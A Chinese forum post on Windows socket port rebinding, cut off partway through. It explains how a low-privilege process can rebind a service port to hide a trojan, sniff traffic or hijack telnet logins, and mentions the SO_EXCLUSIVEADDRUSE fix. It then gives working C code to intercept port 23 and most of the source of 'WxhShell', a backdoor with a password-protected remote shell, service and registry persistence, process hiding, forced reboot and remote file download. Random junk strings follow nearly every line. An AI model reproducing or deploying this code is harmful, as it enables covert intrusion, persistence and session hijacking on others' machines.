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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NYZI;P1DA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D`uOBEX  
^<O:`c6_  
  saddr.sin_family = AF_INET; cc$+"7/J^c  
REwZ41   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w`OHNwXh#I  
oGi{d5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3:WXrOl  
qbe9 CF'@_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [8.w2\<?  
&\o !-EIK8  
  这意味着什么?意味着可以进行如下的攻击: awa$o  
>P\/\xL=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ceqYyVy  
,b8q$ R~\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tvG/oe .1'  
FqK2[]8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZX!u\O|w  
L`{EXn[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &O.S ;b*+  
S}cm.,/w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o\YF_235  
nANoy6z:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I~>L4~g)  
h47l;`kD-#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #0j,1NpL  
ROHr%'owgL  
  #include ,4%'~8'3  
  #include yjP;o`z%  
  #include MM%c   
  #include    nf MQ3K P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8"g.Z*  
  int main() #5x[Z[m  
  { N;6WfdA-  
  WORD wVersionRequested; H A(e  
  DWORD ret; ! G+/8Q^  
  WSADATA wsaData; Q!VPk~~(  
  BOOL val; 7)Rx-  
  SOCKADDR_IN saddr; Y-WY Q{  
  SOCKADDR_IN scaddr; U8(Rye$  
  int err; VJeN m3WNb  
  SOCKET s; xFY;aK  
  SOCKET sc; Y+tXWN"8  
  int caddsize; =NzA2td  
  HANDLE mt; 8y{<M"v+/  
  DWORD tid;   ctL@&~*nY  
  wVersionRequested = MAKEWORD( 2, 2 ); 6"W~%FSJX  
  err = WSAStartup( wVersionRequested, &wsaData ); 43Yav+G(+  
  if ( err != 0 ) { 'L2M  W  
  printf("error!WSAStartup failed!\n"); oA&V,r  
  return -1; 6Hn3  
  } }GCt)i_  
  saddr.sin_family = AF_INET; Oj*3'?<7=  
   &` u<KKF6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0iX;%SPYz  
\Podyh/;?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p|M  8ww  
  saddr.sin_port = htons(23); b!ZXQn3X<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kj_hCSvf3e  
  { _azg 0.)  
  printf("error!socket failed!\n"); l*]*.?m/5  
  return -1; GiN\nu<!  
  } HX{O@  
  val = TRUE; >]k'3|vV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yjVPaEu]aU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oP".>g-.  
  { [2!K 6  
  printf("error!setsockopt failed!\n"); 2 c <Qh=  
  return -1; g(Jzu'  
  } v 6?{g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hb"t8_--c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J..>ApX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q+[e)YO)  
XX,iT~+-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MX?K3=j @>  
  { "}]1OL SV  
  ret=GetLastError(); x aWmwsym  
  printf("error!bind failed!\n"); P.RlozF5;  
  return -1; ":*PC[)W  
  } 0=;jGh}|i  
  listen(s,2); ++:vO  
  while(1) 31y=Ar""  
  { ubIGs| p2c  
  caddsize = sizeof(scaddr); Cd#>,,\z  
  //接受连接请求 92GO.xAD?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ho_;;y  
  if(sc!=INVALID_SOCKET) 5yO6szg  
  { j3rBEQ,R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OZ1+`4 v  
  if(mt==NULL) O edL?4  
  { tH<v1LEZN  
  printf("Thread Creat Failed!\n"); pAYH"Q6~)I  
  break; dvk? A$  
  } tqIz$84G  
  } . oUaq|O  
  CloseHandle(mt); *tjE#TW  
  } qbkvwL9  
  closesocket(s); @M?N[LG  
  WSACleanup(); A:1O:LB=!  
  return 0; t#~r'5va  
  }   X|H%jdta  
  DWORD WINAPI ClientThread(LPVOID lpParam) su(y*187A  
  { I-i)D  
  SOCKET ss = (SOCKET)lpParam; })Rmu."\  
  SOCKET sc; x{C=rdp__  
  unsigned char buf[4096]; ?MuM _6  
  SOCKADDR_IN saddr; qu8i Jq  
  long num; bv>;%TF  
  DWORD val; Ix%h /=I  
  DWORD ret; k'wF+>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LQ?J r>4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3KfZI&g  
  saddr.sin_family = AF_INET; _$By c(.c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wy,DA^\ef  
  saddr.sin_port = htons(23); "TKf" zc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zGu(y@o  
  { gqJ&Q t#f  
  printf("error!socket failed!\n"); fEdQR->  
  return -1;  FZnkQ  
  } *L/_ v  
  val = 100; YcGSZ0vQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 46*o_A,"  
  { tn;e PcU  
  ret = GetLastError(); 8UoMOeI3  
  return -1; cn=~}T@~Z  
  } __$IbF5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =A<kDxqH  
  { &TSt/b/+W  
  ret = GetLastError(); -[v:1\Vv  
  return -1; R5G~A{w0  
  } Y*3qH]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }3Pz{{B&+O  
  { ;'dw`)~jQ  
  printf("error!socket connect failed!\n"); &Hc8u,|  
  closesocket(sc); GdR>S('  
  closesocket(ss); ";9cYoKRY  
  return -1; {J%hTjCw  
  } ?{$Q'c_I  
  while(1) yEtSyb~GK  
  { J& +s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /9|1eSUa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )dG7 $,g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,m!j2H}8  
  num = recv(ss,buf,4096,0); R* E/E  
  if(num>0) H]Q Z4(  
  send(sc,buf,num,0); \rcbt6H  
  else if(num==0) 6J6MR<5'  
  break; {LY$  
  num = recv(sc,buf,4096,0); >ALU}o/  
  if(num>0) 09eS&J<R  
  send(ss,buf,num,0); lKI1bs]i  
  else if(num==0) 6CLrP} u  
  break; Q0!gTV  
  } J:'cj5@  
  closesocket(ss); 75@){ :  
  closesocket(sc); !~m)_Q5?~  
  return 0 ; BkJV{>?_+  
  } HLAWx/c,j"  
3ZU`}  
\S}&QV  
========================================================== C!B2 .:ja  
-Uq I=#  
下边附上一个代码,,WXhSHELL sZPPS&KoP3  
zVZZdG~8  
========================================================== Jj|HeZ1C f  
Yp./3b VO  
#include "stdafx.h" q*Yh_IT.I  
/P5w}n  
#include <stdio.h> a =*(>=  
#include <string.h> %z J)mOu  
#include <windows.h> NM/?jF@j*  
#include <winsock2.h> 5Qo\0YH  
#include <winsvc.h> PLKp<kg  
#include <urlmon.h> IBf&'/ 8\  
rv&(yA  
#pragma comment (lib, "Ws2_32.lib") s,"<+80%  
#pragma comment (lib, "urlmon.lib") Bra>C  
 <G{m=  
#define MAX_USER   100 // 最大客户端连接数 ?2%d;tW  
#define BUF_SOCK   200 // sock buffer h5U@Ys  
#define KEY_BUFF   255 // 输入 buffer fr;>`u[;  
mgL~ $  
#define REBOOT     0   // 重启 R?(0:f  
#define SHUTDOWN   1   // 关机 F5gL-\6  
?7@B$OlU  
#define DEF_PORT   5000 // 监听端口 j=r`[B m  
:f ybH)*  
#define REG_LEN     16   // 注册表键长度 ,<zGvksk  
#define SVC_LEN     80   // NT服务名长度 )~T)$TS  
Av^{$9yl  
// 从dll定义API  3p"VmO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); he wX)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ps+0qqT*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tjBs>w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =_\5h=`Yx  
n %"q>  
// wxhshell配置信息 >:Na^+c  
struct WSCFG { Y]P'; C_eP  
  int ws_port;         // 监听端口 wP/&k`HQ#i  
  char ws_passstr[REG_LEN]; // 口令 yaMNt}y-q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6,G1:BV{K  
  char ws_regname[REG_LEN]; // 注册表键名 wxkCmrV  
  char ws_svcname[REG_LEN]; // 服务名  nk>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3DV';  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ePq(:ih  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a57Y9.H`o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :`2<SF^0O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A)kx,,[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]U!vZY@\  
f'0n^mSP  
}; X,IjM&o"Y  
sHyhR:  
// default Wxhshell configuration ?FVX &{{V  
struct WSCFG wscfg={DEF_PORT, w>p0ldi  
    "xuhuanlingzhe", C$vKRg\o  
    1, A`T VV  
    "Wxhshell", )y\^5>p[  
    "Wxhshell", lTv I;zy  
            "WxhShell Service", ,3.E]_3 xX  
    "Wrsky Windows CmdShell Service", ]{{A/ j\  
    "Please Input Your Password: ", N#Y%+1  
  1, 81eDN6 M\  
  "http://www.wrsky.com/wxhshell.exe", 3xxQL,FV  
  "Wxhshell.exe" 8B JxD<  
    }; J_C<Erx[O  
(8TB*BhQ_  
// 消息定义模块 C<?}?hhb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KoRJ'WW^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o%i^t4J$e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PBbJfm  
char *msg_ws_ext="\n\rExit."; -$f~V\M  
char *msg_ws_end="\n\rQuit."; 7*^-3Tt83  
char *msg_ws_boot="\n\rReboot..."; rIH/<@+  
char *msg_ws_poff="\n\rShutdown..."; 'C8VD+p  
char *msg_ws_down="\n\rSave to "; "=@b>d6U+  
AqB5B5}  
char *msg_ws_err="\n\rErr!"; 0^az<!!O#  
char *msg_ws_ok="\n\rOK!"; :tp2@*] 9Z  
=@AWw:!:,  
char ExeFile[MAX_PATH]; V&;1n  
int nUser = 0; L3JFQc/oh~  
HANDLE handles[MAX_USER]; Yz=(zj  
int OsIsNt; OXe+=Lp<  
[9(tIb!x  
SERVICE_STATUS       serviceStatus; t.$3?"60~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  H;s  
CnSfGsE>  
// 函数声明 ns[v.YDL  
int Install(void); B8UtD  
int Uninstall(void); 'MRvH lCM  
int DownloadFile(char *sURL, SOCKET wsh); $}_N379&  
int Boot(int flag); bXF>{%(}E  
void HideProc(void); Oi AZA<  
int GetOsVer(void); ^hzlR[  
int Wxhshell(SOCKET wsl); U`N|pPe:w  
void TalkWithClient(void *cs); AD#]PSB  
int CmdShell(SOCKET sock); !O6e,l  
int StartFromService(void); '9c`[^  
int StartWxhshell(LPSTR lpCmdLine); Aayh'xQ  
gKeqf-UWKJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g6{.C7m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . <`i!Ls  
ig<Eyr  
// 数据结构和表定义 v".q578 0B  
SERVICE_TABLE_ENTRY DispatchTable[] = fftFNHP  
{ \ZX5dFu0  
{wscfg.ws_svcname, NTServiceMain}, T]-yTsto  
{NULL, NULL} i]J*lM7'  
}; g}"`@H(9r3  
d9>*a$x;/  
// 自我安装 k"D6Vyy`  
int Install(void) 5Ds/^fA  
{ 0D/u`-  
  char svExeFile[MAX_PATH]; "X0"=1R~  
  HKEY key; Oo |*q+{  
  strcpy(svExeFile,ExeFile); 'kb5pl~U  
mbB,j~;^6H  
// 如果是win9x系统,修改注册表设为自启动 g\S@@0T{0  
if(!OsIsNt) { C~4_Vc*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BZq_om6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XI:8_F;Q  
  RegCloseKey(key); pd{W(M78g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K]ob>wPf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -1iKeyyA  
  RegCloseKey(key); hTcy;zLLS  
  return 0; 9pUvw_9MY  
    } fZ1v|  
  } :f%FM&b  
} %E#OUo[y/  
else { #<0Yx9Jh.  
,Tc3koi  
// 如果是NT以上系统,安装为系统服务 e8g"QDc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lh3>xZy"-z  
if (schSCManager!=0) xFxl9oM."  
{ WA}<Zme3[  
  SC_HANDLE schService = CreateService _J(n~"eR  
  ( xxkU u6x#  
  schSCManager, FdEzt  
  wscfg.ws_svcname, Atsi}zTR\  
  wscfg.ws_svcdisp, mkgGX|k;  
  SERVICE_ALL_ACCESS, 6hDK;J J&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b ?9c\-}  
  SERVICE_AUTO_START, o#3?")>|  
  SERVICE_ERROR_NORMAL, y_EkW f  
  svExeFile, Tlrr02>B{  
  NULL, IN=pki |.  
  NULL, VH[r@Pn  
  NULL, |T?wM/  
  NULL, sqTBlP  
  NULL ,K9\;{C  
  ); 3D_Ky Z~M+  
  if (schService!=0) ,dT.q  
  { CvfX m  
  CloseServiceHandle(schService); zvjVM"=G  
  CloseServiceHandle(schSCManager); X8~dFjhX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *uHL'Pe;m  
  strcat(svExeFile,wscfg.ws_svcname); j_N><_Jc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =OfU#i"c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -YM#.lQ  
  RegCloseKey(key); )Y%>t  
  return 0; ?xEQ'(UBQ  
    } /~3~Xc ~=p  
  } (Mi]vK.4  
  CloseServiceHandle(schSCManager); 4;"^1 $  
} r_C|gfIP  
} x ,$N!X  
J-*&&  
return 1; Gt#Jr!N~  
} #vrxhMo  
@P=St\;VP  
// 自我卸载 OS8 ^mC  
int Uninstall(void) +Qy*s1fit  
{ ~3byAL  
  HKEY key; 0#(K}9T)  
uC\FW6K=m  
if(!OsIsNt) { #o Rm-yDr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )E;+C2G  
  RegDeleteValue(key,wscfg.ws_regname); XMhDx  
  RegCloseKey(key); 1d/-SxhZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i`[5%6\"&  
  RegDeleteValue(key,wscfg.ws_regname); +5J"G/f  
  RegCloseKey(key); 'J^ M`/  
  return 0; bwh7.lDAl  
  } s ^NO(  
} mF!/8qk   
} FTM(y CN  
else { Jf\lnJTyU8  
dw %aoe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f[,9WkC  
if (schSCManager!=0) %Q]u_0P*  
{ lfjY45=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XL[/)lX{  
  if (schService!=0) (vte8uQe  
  { l;i,V;@ t  
  if(DeleteService(schService)!=0) { !0ly1T 9  
  CloseServiceHandle(schService); q6A!xQs<  
  CloseServiceHandle(schSCManager); 9pPb]v,6  
  return 0; p- 5)J&  
  } _;mN1Te  
  CloseServiceHandle(schService); O%)@> 5#S  
  } &gJKJ=7  
  CloseServiceHandle(schSCManager); }~P%S(zB  
} fDc>E+,  
} p7(Pymkd  
'\%c"?  
return 1; V:F;Nq%+j  
} 6BIP;, M=  
Xx{ho 4qq  
// 从指定url下载文件 wX}N===  
int DownloadFile(char *sURL, SOCKET wsh) ;\`~M  
{ 8 vNgePn  
  HRESULT hr; gfQ&U@N  
char seps[]= "/"; "zW3d KVc  
char *token; #PnuR2s7.  
char *file; (]wi^dE  
char myURL[MAX_PATH]; }.Eq_wP<  
char myFILE[MAX_PATH]; WqN=  D5  
/CpUq;^  
strcpy(myURL,sURL); X! 5N2x  
  token=strtok(myURL,seps); b i^h&H  
  while(token!=NULL) W- wy<<~f  
  { u2HkAPhD  
    file=token; 9tZ)#@\  
  token=strtok(NULL,seps); 9 x WC<i  
  } KDwz!:ye  
htc& !m  
GetCurrentDirectory(MAX_PATH,myFILE); $q*kD#;mh  
strcat(myFILE, "\\"); -_=0PW5{  
strcat(myFILE, file); MLg<YL  
  send(wsh,myFILE,strlen(myFILE),0); pT]M]/y/:  
send(wsh,"...",3,0); & pwSd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #!p=P<4M  
  if(hr==S_OK) 6cof Zc$  
return 0; >}QRMn|@H  
else {#q']YDe`  
return 1; y e!Bfz>  
EM/NT/  
} tf64<j6  
D|I(2%aC  
// 系统电源模块 kTQ:k }%B  
int Boot(int flag) A7U'>r_.  
{ /nXp5g^6(  
  HANDLE hToken; &{QB}r  
  TOKEN_PRIVILEGES tkp; &SS"A*xg  
 ToNi<~  
  if(OsIsNt) { 8?] :>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '$Jt}O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eydVWVN  
    tkp.PrivilegeCount = 1; ln.kEhQ3B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $mm =$.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r`u}n  
if(flag==REBOOT) { rUfW0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3{_AzL  
  return 0; :1u>T3L.z  
} ga#,42)H  
else { tb,.f3;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $w%oLI@kl  
  return 0; /^96|  
} >4TJH lB}8  
  } Ab7hW(/  
  else { Rs B o\#`  
if(flag==REBOOT) { EQPZV K/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  iU^ 4a  
  return 0; Okk[}G)  
} |)6(_7e9  
else { Pg[zRRf<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QiWv  
  return 0; ':# ?YQ}2  
} 20m6-rkI<}  
} oTtmn, T  
475yX-A  
return 1;  N>`+{  
} "M6a_rZ2W  
#1Mk9sxo  
// win9x进程隐藏模块 EZ #UdK_  
void HideProc(void) Y0BvN`E  
{ hM E|=\  
:b>Z|7g?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K-wjQ|*1  
  if ( hKernel != NULL ) 1=#r$H  
  { .G+}Kn9!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~l!(I-'?g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o^RdVSkU;  
    FreeLibrary(hKernel); <mHptgd,  
  } L1BpkB  
]6OrL TmP  
return; h7Jo _L7  
} gT @YG;  
IcL3.(!]l  
// 获取操作系统版本 Wy#`*h,  
int GetOsVer(void) AX**q$ 'R  
{ Z{#^lhHx  
  OSVERSIONINFO winfo; hgj#VY$B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j>&n5?  
  GetVersionEx(&winfo); [2w3c4K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y- k?_$ M  
  return 1; 7^sU/3z  
  else WA Y<X:|We  
  return 0; &ukNzV}VW  
} 4W9!_:j(j  
*p?b"{_a  
// 客户端句柄模块 q`1t*<sk  
int Wxhshell(SOCKET wsl) 7qE V5!  
{ qNHS 1  
  SOCKET wsh; w GZ(bKyO  
  struct sockaddr_in client; *" <tFQ  
  DWORD myID; {N5g52MN  
7~\Dzcfk"P  
  while(nUser<MAX_USER) NOyLZa'  
{ zq!2);,  
  int nSize=sizeof(client); $Fz/&;KX!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ([|5(Omd\  
  if(wsh==INVALID_SOCKET) return 1; +^YV>;  
W3UK[_qK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `m<="No  
if(handles[nUser]==0) 6AUzS4O  
  closesocket(wsh); I#eIm3Y?  
else R,Zuy( g  
  nUser++; hD<z^j+  
  } ?d+B]VYw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |+6Z+-.Hg  
};oRx)  
  return 0; zQ{ Q>"-  
} ("/*k  
7P/j\frW  
// 关闭 socket IX7d[nm39  
void CloseIt(SOCKET wsh) Ccz:NpK+  
{ qjR;c& qR  
closesocket(wsh); x(}tr27o  
nUser--; I.x0$ac7  
ExitThread(0); ~ $r^Ur!E\  
} W<!q>8Xn?  
BCUw"R#  
// 客户端请求句柄 H'gPGOd  
void TalkWithClient(void *cs) lG# &Pv>-  
{ K'?ab 0  
|Q9S$l]  
  SOCKET wsh=(SOCKET)cs; 6FEtq,;0w  
  char pwd[SVC_LEN]; /oiAAB27  
  char cmd[KEY_BUFF]; /bCrpcH  
char chr[1]; fS#/-wugOB  
int i,j; &tMvs<q,  
@1n0<V /  
  while (nUser < MAX_USER) { VPN@q<BV  
7/Lbs  
if(wscfg.ws_passstr) { [-6j4D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qgZ(o@\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !YJdi~q  
  //ZeroMemory(pwd,KEY_BUFF); ] (MXP,R  
      i=0; 7h&xfrSrD  
  while(i<SVC_LEN) { twgU ru  
0?p_|X'_  
  // 设置超时 EzNmsbtZ(  
  fd_set FdRead; hNx`=D9[7  
  struct timeval TimeOut; d0-}Xl  
  FD_ZERO(&FdRead); pbqa  
  FD_SET(wsh,&FdRead); =1yUH9\,b  
  TimeOut.tv_sec=8; &}T`[ d_Z  
  TimeOut.tv_usec=0; )>\Ne~%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *3"C"4S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9HTb  
00;=6q]TA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uU5:,Wy+dg  
  pwd=chr[0]; &<_sXHg<x  
  if(chr[0]==0xd || chr[0]==0xa) { iZjvO`@[  
  pwd=0; E/U1g4S  
  break; t:=Ui/!q  
  } O')Ivm,E  
  i++; 9!9 Gpi  
    } f7s]:n*Ih  
P\2QH@p@t  
  // 如果是非法用户,关闭 socket q,:\i+>K*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9,y&?GLP  
} ?R,^prW{  
8 6L&u:o:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h)y"?Jj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :hMuxHr  
/_}v|E0  
while(1) { H>M%5bj  
8kMMQES  
  ZeroMemory(cmd,KEY_BUFF); kJDMIh|g  
tAc;O[L  
      // 自动支持客户端 telnet标准   sp_(j!]jX  
  j=0; XLmbpEh  
  while(j<KEY_BUFF) { Opjt? ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kdmVHiGF  
  cmd[j]=chr[0]; $ng\qJ"HF  
  if(chr[0]==0xa || chr[0]==0xd) { ];uvE? 55  
  cmd[j]=0; x[(2}Qd  
  break; J puW !I  
  } >Y2Rr9  
  j++; <CA lJ  
    } PKjA@+  
iicrRGp3  
  // 下载文件 9l,Gd  
  if(strstr(cmd,"http://")) { p^L6uM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qbP[  9  
  if(DownloadFile(cmd,wsh)) ^1Yx'ua'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWn9&WK  
  else ;Rnb^t6Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "jeJV,%  
  } -Q$$2QW!  
  else { 5n9F\T5  
sWX   
    switch(cmd[0]) { 3}h&/KN{  
  a#raUF7e  
  // 帮助 8AefgjE  
  case '?': { p O: EJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x&9 I2"  
    break; <c\aZ9+V  
  } B]Zsn`n  
  // 安装 LG,RF:  
  case 'i': { ^ 1J;SO|  
    if(Install()) n:#ji|wM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xp{gh@#dr  
    else JGO>X|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~:hv7%  
    break; Vm6^'1CY  
    } u*9C(je  
  // 卸载 }XXE hOO  
  case 'r': { Ab(bvS8r$  
    if(Uninstall()) Cog:6Gnw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3 wu&*p{  
    else tXp)o >"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W:) M}}&H  
    break; [{zekF~)@  
    } +6;OB@  
  // 显示 wxhshell 所在路径 w1KQ9H*  
  case 'p': { aoJ&< vl3  
    char svExeFile[MAX_PATH]; {;-$;\D  
    strcpy(svExeFile,"\n\r"); RMvlA' c  
      strcat(svExeFile,ExeFile); yGD0}\!n  
        send(wsh,svExeFile,strlen(svExeFile),0); \4vFEJSh  
    break; /S;?M\  
    } }Ns_RS$  
  // 重启 db4&?55Q  
  case 'b': { 9Q.j <  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zc2,Mn2  
    if(Boot(REBOOT)) yqBu7E$X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iy,)>V%iZV  
    else { K GI]W|T  
    closesocket(wsh); b#y}VY)?  
    ExitThread(0); QWxQD'L'  
    } )Tb;N  
    break; pD>3c9J'^F  
    } J`x9 XWYw  
  // 关机 kh5V&%>?  
  case 'd': { }BfwMq4E)n  
